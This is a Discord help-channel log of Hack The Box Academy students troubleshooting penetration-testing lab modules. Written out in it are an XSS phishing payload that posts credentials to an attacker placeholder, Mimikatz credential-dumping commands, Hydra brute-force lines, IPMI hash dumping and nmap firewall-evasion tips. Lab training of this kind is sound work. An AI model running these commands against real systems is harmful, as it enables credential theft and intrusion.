modules

[hexed python]

I did mod it with 1337 and add /etc/hosts like the module said

and I still have this error

echo 10.10.10.174 server.fatty.htb >> C:\Windows\System32\drivers\etc\hosts

this is the command I used.

rebuild with a new jar file and I still have this same error

I even revert a box too.

[fathom pendant]

Are you sure that's not meant to be replaced by the target ip or your ip?

[hexed python]

let me try with my own ip

[fathom pendant]

Idk what all it had you set up

[valid viper]

Hey Marcie, have you started the CWEW by any chance?

[fathom pendant]

No idea what CWEW is

But if you mean CWEE? no

[hexed python]

This is the one

I gonna replace it with my IP

[fathom pendant]

I haven't done this module so idk what it's expecting ¯_(ツ)_/¯

Also you typed it as 10.10.0.174

[hexed python]

just like the module said, yes

[fathom pendant]

Sometimes the examples aren't 1::1

[hexed python]

well I gonna try with my ip

[fathom pendant]

Sometimes you gotta determine when it's referring to your ip or the machine ip

And Sometimes you can tell by how it's phrased in the examples

[hexed python]

nope

neither my ip works

[fathom pendant]

Is it 10.10.10 or 10.10.0

Two conflicting things here

[hexed python]

oh it's 10.10.10

sorry

[fathom pendant]

Then why does your screenshot show 10.10.0?

[hexed python]

oh no

[fathom pendant]

Literally why I asked a minute ago

[hexed python]

ok nevermind it didn't work

[valid viper]

You can pop a shell from inside SQL?

[hexed python]

well yes and no

depending on the context

[hexed python]

ok nevermind it didn't work lol

[fathom pendant]

sometimes

if it's set up a certain way you can even upload things

[patent oak]

I finished this one today. I took a break yesterday and definitely forgot all about the etc host thing today but it all still worked just fine 🤷‍♂️

[marble spire]

Hey i got this error everytime i run evil-winrm through proxychains on my local VM, when i do the exact same thing on the pwnbox it works. I checked both proxychains configuration files and they are the same

Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

Does anyone ran into this error before ?

[fathom pendant]

that's not a winrm through proxychain error, that's just a winrm error

[hexed python]

I guess update winrm ?

[hexed python]

not work for me mate lol

[hexed python]

wanna head to private DM ?

[fathom pendant]

nah you'd need to update your ssl conf file

it's not really a winrm fully issue

it's how winrm uses openssl

worst case scenario, you need to reinstall your vm

as it's just cooked

[patent oak]

Bedtime for me amigo but I'll deffo do what I can to help in the morning

[marble spire]

Yeah i uninstalled evil-winrm multiple times, but nothing change im at v3.5 on my VM and pwnbox has v3.3

[patent oak]

That module took my mojo today

[fathom pendant]

again it's not really a full winrm issue even with purging and reinstalling stuff

google the error and see if you can find a fix

[hexed python]

or chatgpt

[marble spire]

I has been searching for 2 days

Some ppl talk about vpn issue

tried everything but nothing works

[fathom pendant]

chatgpt won't help in this instance

[marble spire]

So I thought maybe someone had already had that

[fathom pendant]

maybe try this?#starting-point message adding these lines might fix it; if not then you're gonna have to reinstall your vm as a whole my dude

#modules message

forgot you can't see the starting-point channel since your account isn't linked

[marble spire]

i'll try thank you 🙏

[hexed python]

YOOO

I GOT IT WORK !

[hexed python]

I GOIT IT WORK !

[cedar yew]

I can't find 😐

[fathom pendant]

that's the one

you literally found it

also delete as it's a spoiler

that's literally it, just because it doesn't end in .ccache doesn't mean it's not a ccache file

[cedar yew]

Well, I cannot extract this file or use it as a keytab, what can I do?

[fathom pendant]

dude

it's a ccache file

you don't need to do anything with it as a keytab

just put it as the KRB5CCNAME variable

and it'll work

[cedar yew]

heee

oky

[fathom pendant]

it's explained in the section to do that

for ccache files, and it's how you impersonated julio earlier iirc

[valid viper]

For the SMTP section of footprinting module it's asking for a user...

I'm using smtp-user-enum and have given it two different users...neither is being accepted.

[fathom pendant]

if you use the right Method and the right wait times: you'll only get one answer

[valid viper]

I'll just try them all.

The hint references a wordlist, but I'm not seeing one in the course materials.

[fathom pendant]

there's a referenced wordlist in the section reading

oh wait isn't there the footprinting wordlist from the resources button?

[valid viper]

Finally.

Not that I saw, no.

Oh wait...

[fathom pendant]

the hint

[valid viper]

LOL yeah 😛

You're awesome 🙂

[fathom pendant]

deleting it but yeah

[valid viper]

I pulled it with the big wordlist, just took a while.

[fathom pendant]

always check the resources button when you go into a module

[valid viper]

Many thanks.

I was checking the cheat sheet only :/

[fathom pendant]

cheat sheet isn't always gonna be helpful or give context of the commands

[valid viper]

Right, well at least I had a big enough wordlist XD

90 gigs worth.

I had more ready 😐

[fathom pendant]

word of note: HTB will never have you running super large wordlists for bruteforcing

[deep owl]

hello all

module: Cross-Site Scripting (XSS)

[onyx robin]

hi everybody! i was doing recursive fuzzing with ffuf in the attacking web application with ffuf module, but i forgot to connect to the academy-regular vpn! i tried to ping the ip:port given by the exercise but i did not pinged anything! I hope i didn't make a mess...but if i lost all the packages during ping i think i'm safe

[deep owl]

section: Phishing

[deep owl]

Phishing

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

am not able to remove the image url as requested although i have entered the correct code

can anyone who finished the XSS module dm me please

[heavy edge]

OKAY IM SORRY but that hard lab was bs in common services

not enough info about remote readin on linked servers using mssql

i literally had to read a 32 page article on all of it and on how to execute commands on remote links. which it did not touch on

[lime marlin]

hello everyone im new to this, so please excuse the stupid question but am i supposed to be setting up the VPS inside the VM or on my computer?

[glacial raft]

hey @fathom pendant . is there a simpler way i can solve this

this command just lists out too many things

[fathom pendant]

Nope don't forget to do 2>/dev/null

The example command they give also works well

[glacial raft]

these two are still incorrect

@fathom pendant

[fathom pendant]

Sec

[glacial raft]

alright

[fathom pendant]

Your min size is wrong

It's asking for larger than 25k

-size +25k and -size -28k will narrow it further

[crystal steeple]

Will there be any red team modules in the future?

[glacial raft]

alrigt finnaly got it

[glacial raft]

without lookig at ur answer

[fathom pendant]

Probably

[quasi wave]

I'm having trouble understanding IPMI. I have taken notes on the section but I really want to get to the next section and its been a week of me reading and rereading the section and trying to understand it. Should I just do my best and start trying to break in and when I get the flags move on? I feel like maybe I need to come back to IPMI later but I am not gonna skip the section.

I am not gonna look up the answer but I'm just wondering if reading through it one time and just following along with the examples would be good for now.

I feel like this section can be completed by following along with the exact examples in the text.

I have read and reread many times and taken notes.

[fathom pendant]

There's only one thing that's not necessary from that section

And that's the mask it gives

[quasi wave]

I am following along with examples and its not giving me username or password so I kind of can see

[fathom pendant]

Other than that all good and should be able to use the provided wordlist or rockyou to crack it

[quasi wave]

ok thanks

[fathom pendant]

If you're unsure why the hash you get from msfconsole doesn't just give you the answer, it's because the hash isn't in the default wordlist for that tool in msfconsole

[valid viper]

Interesting.

[quasi wave]

I'm trying different wordlists

your sure its in rockyou? what username file should I use?

I'm going through various wordlists

[fringe urchin]

let me go take a look

[quasi wave]

ok

[fringe urchin]

rockyou does the job

[cedar yew]

It asks me to log in to the machine via SSH, but when I enter the password, I get an access denied error.

question - Use the cracked password of the user Kira and log in to the host and crack the "id_rsa" SSH key. Then, submit the password for the SSH key as the answer.

[quasi wave]

for both user file and password file?

because it needs both a username and password file

unless I should just do IPMI usernames

and do rockyou for passwords

[fringe urchin]

there is a suffix in hashcat that ignores the need for username

since you already have the username

[fathom pendant]

Also the hash that ipmi gives you has the username

username:password/hash

[fathom pendant]

What is your command?

[quasi wave]

hold on I think I got it

I set right username file and found rockyou.txt and set that to password file

we'll see if it cracks soon

its still not cracking let me show you my output

[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_dumphashes) >> run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_dumphashes) >> show options

Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):

   Name               Current Setting    Required  Description
   ----               ---------------    --------  -----------
   CRACK_COMMON       true               yes       Automatically crack common
                                                   passwords as they are obtai
                                                   ned
   OUTPUT_HASHCAT_FI                     no        Save captured password hash
   LE                                              es in hashcat format
   OUTPUT_JOHN_FILE                      no        Save captured password hash
                                                   es in john the ripper forma
                                                   t
   PASS_FILE          /usr/share/wordli  yes       File containing common pass
                      sts/rockyou.txt              words for offline cracking,
                                                    one per line
   RHOSTS             10.128.244.138     yes       The target host(s), see htt
                                                   ps://docs.metasploit.com/do
                                                   cs/using-metasploit/basics/
                                                   using-metasploit.html
   RPORT              623                yes       The target port
   SESSION_MAX_ATTEM  5                  yes       Maximum number of session r
   PTS                                             etries, required on certain
                                                    BMCs (HP iLO 4, etc)
   SESSION_RETRY_DEL  5                  yes       Delay between session retri
   AY                                              es in seconds
   THREADS            1                  yes       The number of concurrent th
                                                   reads (max one per host)
   USER_FILE          /usr/share/metasp  yes       File containing usernames,
                      loit-framework/da            one per line
                      ta/wordlists/ipmi
                      _users.txt


View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_dumphashes) >> 

its doing soemthing wrong

[fringe urchin]

where is the hashcat command?

thats just msf where it dumped the hash

you still need to crack it

[quasi wave]

ok so I need to look up where it dumped the hash?

[fathom pendant]

Your rhost is wrong

[quasi wave]

ok hold on

[fathom pendant]

You put 10.128

[fringe urchin]

oooh wait you didnt even get the hash?

[quasi wave]

ok thanks

[fringe urchin]

or whats the problem

[fathom pendant]

Targets start with 10.129 on the vpn

[fathom pendant]

It looks like they never got the hash

[quasi wave]

ok changed rhosts

thanks

[fringe urchin]

okey yea that makes sense since after "run" he just gets] Auxiliary module execution completed

i though he was already cracking it

[fathom pendant]

Same

Which is why I asked for command

[fringe urchin]

[quasi wave]

ok ya I thought metasploit cracked it for you

[fathom pendant]

Nope

Only if it's in the default wordlist

[quasi wave]

ok so I should look up where metasploit saves hashes?

[fringe urchin]

it can if its default. but this one aint one of em

[fathom pendant]

It tells you where it saves it to

But it should also print it in the terminal

[valid viper]

The footprinting module is just...ugh.

[quasi wave]

ok thanks

[fringe urchin]

i quite liked the medium lab

[fathom pendant]

It's not that bad

¯_(ツ)_/¯

By far its one of the easier ones

[valid viper]

sudo openssl s_client -connect 10.129.175.104:imaps

LOGIN BAD First parameter in line is IMAP's command tag, not the command name. Add that before the command, like: a login user pass

Why will it not let me login?

[quasi jungle]

Managed to upload the shell via ftp and now accessing it via port 443 and https with authentication but I just seem to download the file and not execute it instead, a php file.

https://academy.hackthebox.com/module/116/section/1466

[quasi wave]

thanks ok figured out username and password and got flags

[fathom pendant]

Imap commands require a prefix

<anything> [command] [parameters]

As shown in the examples

1 login user pass

But you can literally prefix it with anything AFAIK

[valid viper]

😐

[fathom pendant]

You can even use a 20 character string

[valid viper]

This stuff is a trip.

[fathom pendant]

Which is why it says "like: a login user pass"

The a is the prefix

[fringe urchin]

wait till he gets to the point where he needs to figure out how to read the content of the email

[fathom pendant]

1 fetch id body[]

[valid viper]

https://tenor.com/view/zarex-gif-23990652

[fringe urchin]

[fathom pendant]

I will die on the hill that they need to change the all to body[]

[fathom pendant]

https://tenor.com/view/epic-embed-fail-ryan-gosling-cereal-embed-failure-laugh-at-this-user-gif-20627924

[valid viper]

The point is still made.

I would use ASCII art but...I'll banned for sure then.

[fringe urchin]

have you managed to login now

[fathom pendant]

The more you say you dislike it the worse it will be for you

[valid viper]

Yes.

[valid viper]

I like other things a lot.

Like Burp.

[fringe urchin]

iirc you will see burp at shells n payloads the first time

[fathom pendant]

If you read and follow #welcome you can avoid the skill issue

[fringe urchin]

so a few away

[fathom pendant]

They said they've done the cbbh path already iirc

[fringe urchin]

ah

[valid viper]

Yes.

[fathom pendant]

But tbh knowing how to do things at a baseline is important

[valid viper]

Enumeration/Footprinting isn't fun to me.

[fathom pendant]

Well it's important

[fringe urchin]

ufff thats the main point

[fathom pendant]

And improper enumeration will bite you in the ass

[valid viper]

To an extent, yeah. But with web apps it seems more straightforward.

[fathom pendant]

Well cpts isn't about web apps

[valid viper]

Not if I compile the app locally.

I know, that's why I'm doing it.

[fathom pendant]

So get ready to struggle bus your way out of your comfort zone

[valid viper]

It was just the one thing.

The prefix... 😐 I've never seen that before.

[fathom pendant]

Also a lot of the stuff you'll see on the attacking common services section

[fathom pendant]

I mean it's talked about and shown in the section

[fringe urchin]

its in the module tho

[valid viper]

It... I mean yeah but...it's counter-intuitive.

[fathom pendant]

Not really

[valid viper]

It is to me.

[fathom pendant]

Idk how it's counter-intuitive tbh

[valid viper]

Well, look at Bash.

[fathom pendant]

Ok?

[valid viper]

I don't need a prefix to throw a command at that...or anything else I've interacted with.

[fathom pendant]

Looking at my bash terminal

Well this is a different technology

[valid viper]

Why not have a prefix in SQL?

It's a...unique technology.

[fathom pendant]

You have to end commands with ;

[valid viper]

Yes.

But it MUST be a semicolon.

Which makes sense, because that goes back to C-type languages.

[fathom pendant]

But also: at the end of the day, it WAS told to you

You just either glossed over it or didn't read

[valid viper]

Glossed over for sure.

[fathom pendant]

When you get stuck next time: re-read the section

Often the answer lies in the material

[valid viper]

I want ice cream.

[fathom pendant]

Go for it dude

[valid viper]

1 FETCH 1 BODY[]

Cute...

[fringe urchin]

[fathom pendant]

Yes

The [] are actually important

[crystal steeple]

i see, that's gonna be fire

[valid viper]

Well yeah, it denotes an array.

Or in this case...content I guess.

It should be "" but whatever XD

[fathom pendant]

Well it's basically telling it to grab all data within

[valid viper]

Wouldn't that be an * ?

[fathom pendant]

No, it shouldn't

[fathom pendant]

No because thats not how the body data is stored

[valid viper]

Ah, body data is stored in an array?

[fathom pendant]

You can Google it and learn

https://stackoverflow.com/questions/37787767/fetch-imap-body-message-by-telnet

[valid viper]

I will say, this is MUCH better than the OSCP.

The course for that made me want to put my face through a plate glass window.

[fathom pendant]

https://nickb.dev/blog/introduction-to-imap/

[valid viper]

Thanks. Yes SNMP is more straightforward.

Although that may be because I have a networking background 😛

[novel hinge]

trying to find a way to transfer back to my attack host. tried smbserver to trasnfer like in the ATtacking SAM and ATTACKING Lsass. Trying to get the lsass.dmp off the windows machine

smbserver did not work

[heavy edge]

if you are rdping, connect a drive or make an smbshare

[fathom pendant]

you can also use POP3 which is slightly different but doesn't have all the folders/subfolders just good ole UID grabbing

[novel hinge]

@heavy edge tried smbshare. will try connecting a drive but idk if ive learned that yet

[valid viper]

Interesting.

[fathom pendant]

xfreerdp has /drive:

[heavy edge]

if you are dumping the lsass you should have learned about connecting a drive in the rdp section of footprintingn

[fathom pendant]

it's not taught to you

[heavy edge]

yes it is.

theresa section where they tell yuo to connect a share

[fathom pendant]

then it seems like they recently added it

[fathom pendant]

i'm referring specifically to xfreerdp's /drive: option

not creating a share

[fathom pendant]

that looks like a hash to me

[fathom pendant]

note the purpose of this isn't to transfer files, it's to steal the hash

[fathom pendant]

which you can use for multiple purposes; either a PTH technique or cracking it

[novel hinge]

ahhhhh i didnt even see that ;c

[fathom pendant]

must be a recent add then

[heavy edge]

fie transfers which is before the passwords

it wasnt in foothold my bad

[fathom pendant]

it's explained that's what you're doing

[heavy edge]

anywasy yeah if ur in the password section that measn you got thru file xfers section ideall in which it was shown there

@novel hinge

[fathom pendant]

if they're in footprinting the method they're doing is literally explained in the SQL section

[novel hinge]

in password section currently

[fathom pendant]

"password section"

you mean password attacks module?

[novel hinge]

yes xd

[fathom pendant]

gotta stop calling modules sections my dude

[fathom pendant]

ah then a lot of the stuff is taught to you already before that point

[novel hinge]

so these are multiple hashes that belong to multiple users? even though i wasnt able to get the file im guessing it read the contents of the lsass.dmp?

[fathom pendant]

just follow the section along and you'll be fine

[fathom pendant]

that hash specifically is the machine account

[heavy edge]

i know i know

[fathom pendant]

that's not the lsass dump

[novel hinge]

ahhh

okok thank you

[heavy edge]

yeah thats not an lsass dump thats just an admin hash

did you look tt how to dump the lsass?

[fathom pendant]

the section they're doing is about dumping lsass

[novel hinge]

yeah either through task manager or the other method i forgot i just do task manager

[heavy edge]

i know they arent dumping it

[fathom pendant]

which has nothing to do with grabbing hashes

[fathom pendant]

command line stuff

[novel hinge]

im on Pass the hash section

[fathom pendant]

oh

[heavy edge]

what is it ur asking

because im lost now

[novel hinge]

they didnt give me the hash for davids account. how do i get his hash

im guessing through lsass right?

[heavy edge]

using the tools that were talked about

[fathom pendant]

it can be, yes

[fathom pendant]

dude read the question before it

Connect via RDP and use Mimikatz located in c:\tools to extract the hashes presented in the current session. What is the NTLM/RC4 hash of David's account?

[novel hinge]

ive tried mimikatz in c:\tools i wasnt able to get it thats why i started doing lsass

[heavy edge]

have you looked at how to use mimikatz?

becaue it tells you how to use it

[fathom pendant]

nope use mimikatz

[heavy edge]

look at how you use mimkatz and youll be able to dump the hash

[novel hinge]

yes i went back in a previous section and did the dump and it didnt work ill try again and send my results back give me 2min

[fathom pendant]

because the hash may also just not be present in lsass (it could be)

[heavy edge]

cmd as admin > mimikatz > priv::debug > token::elevate >lsadump::sam

iirc

[fathom pendant]

you can also just look at the cheatsheet

i can't remember what section it tells you how to use mimikatz to extract info

[novel hinge]

does this look right?

[fathom pendant]

the arrows weren't meant to be put in literal

[heavy edge]

........................

[fathom pendant]

they were meant to be sequential steps

[heavy edge]

if people took me as literal as you do id be so goddamn rich rn

[fathom pendant]

https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz

here's a bunch of mimikatz stuff

[heavy edge]

ngl i did fiercly blow air out of my nose seeing that

[solid quail]

I have a question regarding this module : Introduction to Windows Command Line:

I finished the first question: "SSH to with user "user0" and password "Start!"
The flag will print in the banner upon successful login on the host via SSH."

Question 2: "SSH to with user "user1" and password "previous flag"

• 1 Access the host as user1 and read the contents of the file "flag.txt" located in the users Desktop."

When I try to SSH and Access the host as user1 I get an error stating that the password is denied.

Do i do this while logged into User0?

[fathom pendant]

no

"previous flag" is the previous answer

so user1 password would be the answer you got for user0, user2 password is user1 answer...

[solid quail]

omg thank you~ I have been trying this for the past hour lol. Appreciate the help!

[novel hinge]

so i read through that post marcie, ended up just going back to the commands that execpanda gave. it doesnt show any credentials for a user named "david"

[fathom pendant]

could be sekurlsa::loggedonusers

or a number of other things

[novel hinge]

sekurlsa::logonpasswords got it now. lets see if i can finish this section now

[twin lion]

I'm on this question for the password attack module: Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer.

So i've downloaded the resources.zip and ran this to make the wordlist
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
Then I did hydra -l sam -P mut_password.list 10.129.202.64 ssh -t 4 first and now i've done hydra -l sam -P mut_password.list ssh://10.129.202.64

It has been cracking for fuckin decades somebody please help

[fathom pendant]

attack a different service

there's more than ssh open

[twin lion]

aw man

[fathom pendant]

also: you can increase threads with -T

[twin lion]

thanks i shouldnt have been rushing to play super mario bros wonder

[fathom pendant]

step 0: enumerate

[novel hinge]

that one was a pain, i forgot the command first you do but you need to take in the first 20k so head --20000 xx.list > 20k.list. get rid of all the numbers at the beginning
then start cracking.

[fathom pendant]

get that knocked in your head

[fathom pendant]

you don't need to

[novel hinge]

i think hes doing that one right, i just did that one

[twin lion]

i will knock it in

[fathom pendant]

it just makes it go a bit faster

the main issue is attacking ssh

which for hydra is VERY slow

[novel hinge]

you can enumerate more to get the password in that one?

damn i just brute forced that one after taking the 20k

[fathom pendant]

yes, there's multiple services running on it

i wanna say ftp, ssh, and smb? it's been a minute

[novel hinge]

i think youre right, i def remember ftp

[novel hinge]

nvm

[weak fractal]

anyone ?

[potent ermine]

Open wireshark and start listening on the main interface. I know it sounds crazy because there's no internet connection in the target box, but just run it and you'll see the traffic coming in. Then you'll be able to see HTTP packets and see the domain

[weak fractal]

Thank you very much !

[supple oracle]

u're a lifesaver! I've found the right direction of attack now.

[latent glen]

@next bronze I can confirm your dump tool is pretty neat! It's a goto now 😄

[next bronze]

awesome, thanks!

[heavy edge]

ill have to try it out

[shadow current]

on this section https://academy.hackthebox.com/module/162/section/1572 documentation module i logged in to the whitehat as htb-student but it seems like there is no existing current report

[next bronze]

it's in the module's resources iirc

[tulip dragon]

i am stuck on flag4 on linux priv assessment

any hint , found tomcat but can't find any way to exploit

[naive wadi]

in windows privesc module does anyone know the difference named pipes, as in, Syntax: \\.\pipe\<pipename> or \pipe\<pipename> ? I can query LSASS with both but only SQL with the latter which makes me thinks it's an API or env thing?

[next bronze]

https://learn.microsoft.com/en-us/windows/win32/ipc/pipe-names

[naive wadi]

as in .\accesschk.exe /accepteula \\.\Pipe\lsass -v & .\accesschk.exe /accepteula \Pipe\lsass -v both work

but .\accesschk.exe /accepteula \\.\Pipe\SQLLocal\SQLEXPRESS01 -v will not work

but .\accesschk.exe /accepteula \Pipe\SQLLocal\SQLEXPRESS01 -v will work

[naive wadi]

Thanks but already been through this and can't seem to find the reason

The period represents the local computer

but when it's omitted what does it mean? That's what I am trying to figure out

[topaz sable]

Guys if I do upto tier 2 modules will I be able to do htb boxes?

Like the hard ones?

[fathom pendant]

maybe

¯_(ツ)_/¯

most boxes have some sort of gimmick/cve related to them

or their name hints at what the vuln may be

[topaz sable]

Guys I have a student gmail account right now. Eventually I'll get alumni gmail account.

Will I be able to use alumni gmail account to get student subscription

[topaz sable]

Ok

[fathom pendant]

if it's a .edu email it should be fine

[topaz sable]

It's not a .edu email 🥲

[next bronze]

one is globale scope the other is relative scope

it's how accesschk reads the input

[fathom pendant]

then you're not likely gonna be able to access the student discount

[devout thorn]

@topaz sable
I don't have a .edu mail address and I've been able to get student discount
You'll need to contact support and send them a proof that you are student

PS: I have a .net mail address

[fathom pendant]

^

i mean i used very broad words

[naive wadi]

Thanks

[fathom pendant]

likely and generally aren't the always

the only people that know 100% would be support

[topaz sable]

Can I use the student mail and get discount even after I graduated college?

[autumn pilot]

Will you be a student after you graduate?

[patent oak]

RESPECT!

[topaz sable]

No?? But I will still have access to student mail id

[strange forge]

Yes, if you have access to email id.

[dreamy yew]

Module: Active Directory Enumeration and Attacks, Section: Credentialed Enumeration - from Windows, **Question: I can't seem to execute Snaffler **using .\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data

[fathom pendant]

what errors are you getting>

[dreamy yew]

its ok i found it in C:\Tools, false alarm

[fathom pendant]

remember: .\ is convention for "current directory"

[dreamy yew]

yep thanks mate

[glossy flame]

On Detecting DCSync/DCShadow the question:

Modify the last Splunk search in this section by replacing the two hidden characters (XX) to align the results with those shown in the screenshot. Enter the correct characters as your answer.

I got the correct answer, but I am wondering why replacing the XX with the wildcard " .* " dont show the answer .

| rex field=Message "(?P<gcspn>.*\/[a-zA-Z0-9\.\-\/]+)" 
| table _time, ComputerName, Security_ID, Account_Name, user, gcspn
| search gcspn=*```

[fathom pendant]

because you're looking for something more specific

while wildcards can be useful they can also be so broad they miss the mark

[glossy flame]

but it returns just 6 events and if I replace with the answer it will show different events

shouldn't it return all the events?

[fathom pendant]

not really

it's returning results that match a different set of criteria

[latent fox]

Where is the Laudanum aspx web shell located on Pwnbox? Submit the full path. (Format: /path/to/laudanum/aspx)

[acoustic owl]

find might help

[wind gust]

Why is there no new content on the academy ?

[strong forum]

I would like to know the intention of the problem in "Firewall and IDS/IPS Evasion - Hard Lab".
When I search for ports, I see multiple filtered ports.
But I don't understand if --source-port can only get flags 53 port.
Why isn't the other port working?
And I don't know why I had to target a 50000 port.

53/tcp filtered domain
54/tcp filtered xns-ch
55/tcp filtered isi-gl
50000/tcp filtered ibm-db2

[quick crane]

who can help me DACL Attacks Skill Assessment fourth question

[quick crane]

I found r***** user can Owns for mic****group and I get hash for user

[fringe urchin]

you asking why --source port was important?

well its common for IDS/IPS ( firewalls and intrusion detection systems) to be configured to allow some kind of traffic.
and since port 53 is DNS which a lot of firewalls "allow" traffic from it since its a dns, the packets/traffic appears legitimate.
so with source port 53 we can evade filters.

like with source port we can fool the IDS/IPS that the request or well traffic comes from a "Trusted" service.

[strong forum]

Thank you Schainy .
However, port 53 and port 50000 are both filtered.
And when I scan all port, only 22 and 80 ports that are open are shown.
*HTB Questions : ow our client wants to know if it is possible to find out the version of the running services. Identify the version of service our client was talking about and submit the flag as the answer.

[fringe urchin]

let me boot up the challange

and see

[languid ginkgo]

module: Active Directory Bloodhound
Hello,
someone passed the last skills assessment question ?
Find the percentage of users with a path to GLOBAL ADMINISTRATOR. Submit the number as your answer (to two decimal points, i.e., 11.78).

||I have a total of 15 AD users and 3 Azure users||, right ?

[fringe urchin]

show me your command

[fringe urchin]

my 5k is opened

[blazing scarab]

d

[quick crane]

have anyone can hint the dacl attacks module

[next bronze]

nope, check the number of AD users again

normal users, not special or default accounts

[strong forum]

My command is this.
But it's all filtered.

[★]$ sudo nmap -p53,50000 10.129.232.134
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-04 10:58 BST
Nmap scan report for 10.129.232.134
Host is up (0.14s latency).

PORT STATE SERVICE
53/tcp filtered domain
50000/tcp filtered ibm-db2

[quick crane]

bro do you solved dacl attacks module

[fringe urchin]

well yea firewall is filtering it, you need to add something to your command to evade it

[hollow ibex]

Today i compelte web service and api attacks module at htb but i have some miss conception about soap.

My question is that soap is a web service or protocol ???

https://academy.hackthebox.com/achievement/906058/160

[dreamy solar]

Hello man

https://academy.hackthebox.com/module/134/section/1219 Can you help me plz this

To know that the login admin, I must to look the token? But I do a list of the 200 UID and I don't find a diffent token ^^"

[gentle root]

Maybe reset and try again, or do it via bash script potentially I forget if one came with module or I made the one I have in notes 😉

[strong forum]

Thank you, Schainy. In the nmap scan result, port 53 was filtered and the relationship between the source port was misunderstood. Thank you very much for your kind explanation.

[soft cedar]

But you should know the admin uid by now.

Any different result when you manually manipulate the request?

[wooden perch]

Cleared this yesterday, had the same issues. Check the hint

[fringe urchin]

#modules message
seems like he solved it

[shadow cradle]

Hi All, I do have a question about the Skills Assessment of Shells & Payloads. I'm still chasing the second flag. I did investigate the blog and checked the post wiht relative exploti. Shall I fix the exploit or should I try to re-use the already present on the server?

[soft cedar]

what do you mean by fix the exploit?

[warm crater]

The exploit does not require any fixing, import to metasploit and fire it up. =)

[shadow cradle]

I loaded in msf the exploit from exploit-db but it' raise an error for the split function

[warm crater]

I just re did the assessment like an hour ago and it worked fine on my end. No tweaking required.

[shadow cradle]

maybe i did something wrong but it's complaining indeed 😓

[soft cedar]

set the vhost and it should work.

[shadow cradle]

thanks for the help I'll try it out

if i may ask one more thing.. the foothold host is lagging very much. Is it normal?

[warm crater]

iirc the foothold is indeed laggy. You can start the ssh server and go from there.

[shadow cradle]

that's what's I'm doing but I can't type more than 3char straight hehe. I'll just be patiente 😄

[fringe urchin]

doing the same with RDP, laggy af but at host 3 right now

[next bronze]

skill issue just pivot or start sshd so you don't have to use rdp

[heavy edge]

finally

[fringe urchin]

my ssh dont have a gui so i could look at the website

[heavy edge]

https://tenor.com/view/fun-fun-begins-star-wars-skywalker-gif-18356472

[next bronze]

https://tenor.com/view/if-you-think-of-an-gif-20132469

[fringe urchin]

We havent learned that yet

[heavy edge]

wait

[next bronze]

so it's skill issue

[heavy edge]

what module are you on

[fringe urchin]

shells n payload

[heavy edge]

oh

[fringe urchin]

well to be fair i did it in the past but forgot so would need to look it up lol

[heavy edge]

you need to use the pwn box for that

i think

[fringe urchin]

ew pwnbox

[fathom pendant]

you don't

only one question directly asks about the location on the pwnbox

other than that; you can use your own machine

[heavy edge]

it was easier for me to use pwn on that one

[fathom pendant]

i used my own vm just fine

¯_(ツ)_/¯

[frail hinge]

Hi! sorry can someone help me. I'm in the Footprinting Lab - Medium and after enter to remmina and find the user i can't enter as and admin because the password contains "@" and this caracter doesn't work as normal in my mac.

if someone knows why or how to resolve it i will really appreciate it

[fathom pendant]

wrap the password in single quotes

oh wait remmina

idk how you normally get the @ in mac ¯_(ツ)_/¯

also idk what you mean by "this character doesn't work as normal"

[fringe urchin]

Damn host 3 done in less then 10 min

[fathom pendant]

are you copy/pasting the password you found? or manually typing?

if copy/pasting: are you sure you don't accidentally have any extra spaces?

[frail hinge]

i usually use alt+2 and it's not working, the @ never appear

[fathom pendant]

try shift+2 if you're using a vm

[soft cedar]

Difficulty level is swapped

[frail hinge]

i tried to copy but it doesn't give me the option at all.

[wintry river]

Hello

[fathom pendant]

"doesn't give option at all" not descriptive

are you saying that for whatever reason it won't let you copy?

[frozen mesa]

LINUX PRIVILEGE ESCALATION --> Docker --> where to start? I cannot find anything useful to start a docker with or something else...

[fringe urchin]

true . took me quite a whilte to get into the first Host since i didnt know that || the footprinting computer is very important too ||

after that was quite easy

host 2 only problem was making the script run, once you did that you good to go

host 3 well yea speedrun

[fathom pendant]

like you can't right-click -> copy or ctrl(cmd)+shift+c?

[soft cedar]

docker is already installed on the target.

[fathom pendant]

also: as I said - it sounds like the keyboard is standard US keyboard layout - so shift+2 would be the @ sign

[frail hinge]

yes, i tried to manually copy and the controls for add the @ aren't working. i searched by internet other controls in case but also not working for add the @ necessary. Then i tried to copy the password but ctrl+c or use the mouse doesn't work or give me option to copy

[fathom pendant]

you need to add shift to that if you're copying from a command line

copying from linux terminal requires the shift key, as ctrl-c is already bound to quit running process

[fringe urchin]

are you using pwnbox?
i know mac is like cmd + g for @ in german keyboard layout

and once you in a pwnbox controls swap to native linux so ctrl shift V

[fathom pendant]

shift c

they're trying to copy

[frozen mesa]

Still dont know where to start, the used paths in the module dont work.

[fringe urchin]

well to paste

ah

[fathom pendant]

they're pasting into a GUI

[soft cedar]

Yeah, had to finesse the payload a bit for 1, other than it’s your typical boot2root system.

[fringe urchin]

yea the || vhost || was the problem there.

[near tinsel]

Hello

Just finished a couple of CTFs. I noticed I had to look up a lot of stuff frequently (commands, services to use, what the next step would, etc.). Is this normal?

[fathom pendant]

yes it's normal

especially if you're new to hacking

[near tinsel]

Gotcha, thanks!

[soft cedar]

Check if the user is in docker group, get the images from the docker service and you should be good to go.

Just gotta look back at the section from there..

[fringe urchin]

if alt +2 doesnt work id try to switch keyboard layout to something like german since there its cmd + g or cmd + q im pretty sure and try with that if thats a workaround?

[frozen mesa]

